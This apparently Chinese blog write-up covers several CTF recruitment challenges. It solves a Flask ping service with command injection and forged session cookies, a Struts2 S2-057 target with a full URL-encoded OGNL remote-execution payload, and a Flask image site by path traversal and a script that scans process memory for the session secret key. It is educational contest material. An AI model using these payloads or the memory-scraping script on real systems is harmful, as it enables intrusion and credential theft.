        return render_template('login.html', message="登录失败，用户名或密码错误。")
    
    return render_template('login.html')
......
# ping 逻辑
@app.route('/ping', methods=['GET', 'POST'])
def ping_page():
    if 'user' not in session:
        return redirect(url_for('login'))
    
    try:
        user_data = json.loads(base64.b64decode(session['user']).decode('utf-8'))
        if not user_data.get('is_admin'):
            return render_template('ping.html', message="对不起，只有管理员才能使用这个功能。")
    except Exception:
        return redirect(url_for('logout'))
    
    if request.method == 'POST':
        ip_base64 = request.form.get('ip_base64', '')
        if not ip_base64:
            return render_template('ping.html', message="请提供 IP 地址。")
        
        try:
            decoded_ip = base64.b64decode(ip_base64.encode('utf-8')).decode('utf-8')
            
            if waf_filter(urllib.parse.unquote(ip_base64)):
                return render_template('ping.html', message="WAF: 检测到恶意关键字，请求被阻止。")
            
            if not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', decoded_ip.split('\n')[0]):
                return render_template('ping.html', message="验证失败：IP 地址格式不正确")
            
            if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
                return render_template('ping.html', message="验证失败：IP 地址格式不正确")
                
            if not ipaddress.ip_address(decoded_ip):
                return render_template('ping.html', message="验证失败：IP 地址格式不正确")

        except Exception:
            return render_template('ping.html', message="验证失败：无效的 Base64 编码或 IP 格式错误。")
        
        command = f"echo \"ping -c 1 $(echo '{ip_base64}' | base64 -d)\" | sh"
        
        try:
            process = subprocess.run(
                command,
                shell=True,
                check=True,
                capture_output=True,
                text=True,
                timeout=5,
                executable="/bin/sh"
            )
            return render_template('ping.html', output=process.stdout)
        except subprocess.TimeoutExpired:
            return render_template('ping.html', message="❌ Ping 操作超时，请重试或检查网络连接。")
        except subprocess.CalledProcessError as e:
            return render_template('ping.html', message=f"命令执行失败：{e.stderr}")
        except Exception as e:
            return render_template('ping.html', message=f"发生未知错误：{e}")
    
    return render_template('ping.html')

templates
- 各个 html 文件

尝试

1
2

D:\software\tools\flask-session-cookie-manager-1.2.2>python flask_session_cookie_manager2.py encode -s "xxxxxxx" -t "{'username':'admin','is_admin':'true'}"
eyJpc19hZG1pbiI6eyIgYiI6ImRISjFaUT09In0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.aPCvLQ.2wnGTmxlNZK2w-jaIbz3fvYdfIs

御林招新题：档案馆的回响

Tue, 14 Oct 2025 00:00:00 +0000

题干

目标一：云端之门的低语（ Spring Cloud Gateway 3.1.0）

“天穹”微服务 API 网关：这是公司最新潮的 API 网关，所有数据的流量中枢，看起来坚不可摧。然而，根据情报，这个版本的网关在处理路由请求时，似乎留下了一道不易察觉的缝隙。
目标二：思想者的诡计（ThinkPHP 5.0.23）

“敏捷开发” PHP 门户:这是用一款广受欢迎的 PHP 框架搭建的门户网站，以其高效和灵活著称。然而，在处理 HTTP 请求的某个环节，框架对“请求方法”的理解出现了偏差。
目标三：远古框架的咆哮（ Struts 2.3.34）

“化石”级企业管理平台：这是一个老旧的 Java 企业级应用，虽然年迈，但依然在核心业务线上运行。它的开发者在配置某个核心组件时，遵循了当时流行的“通配符”设计哲学，却忽略了这份“灵活”背后潜藏的巨大风险。

解题过程

Spring Cloud Gateway 3.1.0

直接脚本过了

ThinkPHP 5.0.23

也是脚本

Struts 2.3.34

这个脚本不知道怎么用

于是尝试解题：

打开网站发现是空白的，扫描工具扫到 /upload.action，进入

是 struts2，网上查询，发现 S2-057远程执行代码漏洞（CVE-2018-11776） 影响当前版本

参考 Struts2 S2-057远程执行代码漏洞（CVE-2018-11776）_apache struts 2 安全漏洞(cve-2018-11776)-CSDN博客

区别在于上面靶场的网址是 /showcase

漏洞判断

1
2

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

注意：poc 放到网址上，需要 url 编码。后续又发现，“ls /”这一字符串中空格需要编码，但是斜杠不需要编码！..也不需要编码

最终 payload：

payload：/upload.action/$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/flag%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

御林招新题：御图网

Tue, 14 Oct 2025 00:00:00 +0000

题目描述

御林娘图片_御林娘素材_御林娘高清图片_御林网图片下载_306万御林娘免版税图片、库存照片和图像 | Yulinsec

御林娘小时候上网找素材做海报，意外发现了一个用python编写的盗版图片网站。她一顿操作猛如虎，行云流水地黑入网站获取管理员权限，狠狠报复了这个盗版网站。

    <h1>御林图库</h1>
    <ul>
        <li><a href="/download?file=pic1.png">扣1送御林娘自拍</a></li>
        <li><a href="/download?file=pic2.png">简约大气的御林娘图片-御林娘图片素材免费下载</a></li>
    </ul>

解题

思路

信息搜集：

题目告知是 python 写的网站
页面给了链接，可能存在文件泄露！

尝试下载文件，发现：/download?file=../app.py，于是得到源码

from flask import Flask, request, session, render_template_string, abort, redirect, url_for, make_response, Response
import ...
app = Flask(__name__)

def generate_secret_key():
    prefix = "Yulin"
    suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    return prefix + suffix


app.secret_key = generate_secret_key()

flag = ""
if os.path.isfile("/flag"):
    with open("/flag", "r") as f:
        flag = f.read().strip()
    os.remove("/flag")
    os.remove("/start.sh")
else:
    flag = "[ ]"


@app.route('/')
def index():
    if session.get('is_admin'):
        return f'<h1>你好，Admin</h1><p>Flag: YulinSec{{{flag}}}</p>'
    return ......


@app.route('/download')
def download():
    ......

    allowed_proc_files = ['/proc/self/maps', '/proc/self/mem']
    if file_path in allowed_proc_files:
        pass
    else:
        ......

    if file_path == '/proc/self/maps':
        try:
            with open(file_path, 'r') as f:
                content = f.read()
            ...
            return response
        except Exception as e:
            ...

    if file_path == '/proc/self/mem':
        if end <= start:
            end = start + 1048576  # 1MB

        def generate():
            try:
                with open(file_path, 'rb') as f:
                    f.seek(start)
                    remaining = end - start

                    while remaining > 0:
                        chunk_size = min(1024 * 1024, remaining)  # 每次最多读取1MB
                        data = f.read(chunk_size)
                        if not data:
                            break
                        yield data
                        remaining -= len(data)

            except Exception as e:
                app.logger.error(f"Error reading memory: {str(e)}")
                yield f"Error reading memory content from {start} to {end}".encode()

        return Response(
            generate(),
            mimetype='application/octet-stream',
            headers={'Content-Disposition': f'attachment; filename=memory_{start}_{end}.bin'}
        )

    try:
        with open(file_path, 'rb') as f:
            content = f.read()
    except Exception as e:
        ...

    sanitized_content = re.sub(
        rb'flag\{.*?\}',
        b'[ ]',
        content,
        flags=re.IGNORECASE
    )

    ....
    return response


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

代码关键点：
- 泄露了文件 /proc/self/maps 以及 /proc/self/mem
- 限制了 mem 的读取，一次只能读 1 MB
- 突破点在于取得 session 的 admin

尝试

读取 maps：

5e2267a76000-5e2267a77000 r--p 00000000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a77000-5e2267a78000 r-xp 00001000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a78000-5e2267a79000 r--p 00002000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a79000-5e2267a7a000 r--p 00002000 00:aa6 1871870                   /usr/local/bin/python3.8
5e2267a7a000-5e2267a7b000 rw-p 00003000 00:aa6 1871870                   /usr/local/bin/python3.8

......

权限：如 r--p、r-xp、rw-p 等，r 表示可读（read）、w 表示可写（write）、x 表示可执行（execute）、p 表示私有（private，即进程间不共享）。

由于数据段通常是可读可写的，所以考虑遍历读取 rw 的区域，编写脚本

写脚本

~~不会写，问 AI~~

import requests
import re

def get_memory_regions(target):
    """获取可读写的匿名内存区域"""
    try:
        response = requests.get(f"{target}/download?file=/proc/self/maps", timeout=10)
        regions = []
        for line in response.text.splitlines():
            # 筛选包含Python字符串的内存区域特征
            # 注意，由 rw-p 改为 rw,删去and
            if 'rw' in line:# and ('anon_inode' in line or '[heap]' in line):
                addr_range = line.split()[0]
                start, end = addr_range.split('-')
                regions.append((int(start, 16), int(end, 16)))
        return regions
    except Exception as e:
        print(f"获取内存映射失败: {e}")
        return []

def search_secret_key(target, regions):
    """在指定内存区域搜索secret_key"""
    # 匹配模式：Yulin开头 + 16位字母数字
    pattern = rb'Yulin[A-Za-z0-9]{16}'
    
    for start, end in regions:
        print(f"扫描内存区域: 0x{start:x} - 0x{end:x}")
        # 分块读取（每次1MB，平衡速度和稳定性）
        chunk_size = 1 * 1024 * 1024
        current = start
        
        while current < end:
            chunk_end = min(current + chunk_size, end)
            try:
                # 读取内存块
                resp = requests.get(
                    f"{target}/download?file=/proc/self/mem",
                    params={'start': current, 'end': chunk_end},
                    timeout=15
                )
                # 搜索密钥
                match = re.search(pattern, resp.content)
                if match:
                    return match.group(0).decode()
                
                current = chunk_end
                print(f"已扫描: {int((current - start)/(end - start)*100)}%", end='\r')
                
            except Exception as e:
                print(f"\n读取内存块失败(0x{current:x}): {e}")
                current += chunk_size  # 跳过错误块
    
    return None

def main():
    target = "http://prob01-4a2b75818e1a60809324fca5d9adda1a.recruit.yulinsec.cn"
    print(f"目标地址: {target}")
    
    # 获取内存区域
    regions = get_memory_regions(target)
    if not regions:
        print("未找到可扫描的内存区域")
        return
    print(f"发现 {len(regions)} 个可扫描内存区域")
    
    # 搜索secret_key
    secret_key = search_secret_key(target, regions)
    
    if secret_key:
        print(f"\n找到secret_key: {secret_key}")
    else:
        print("\n未找到secret_key，请尝试重新运行")

if __name__ == "__main__":
    main()

主要是 request 库还是不熟，还有 re 正则匹配、字符串处理。

先这样吧。

得到 secret_key：xxxx

漏洞利用

得到了 key 以后，抓包发现文件头中并不包含 Cookie！

考虑自己构造，发送

于是使用 flask-session-cookie-manager 来构造

还顺便配置了 py2、py3

1
2
3

D:\software\tools\flask-session-cookie-manager-1.2.2>python .\flask_session_cookie_manager2.py encode -s "Yulin9IlwFlKE3K6ubjNn" -t "{'is_admin':'true'}"

eyJpc19hZG1pbiI6eyIgYiI6ImRISjFaUT09In19.aO5EQg.kmSLHAE42MX1z895x02HEdD8zqg

这里要注意的是 true 也要用分号包围……

放到 bp，完成！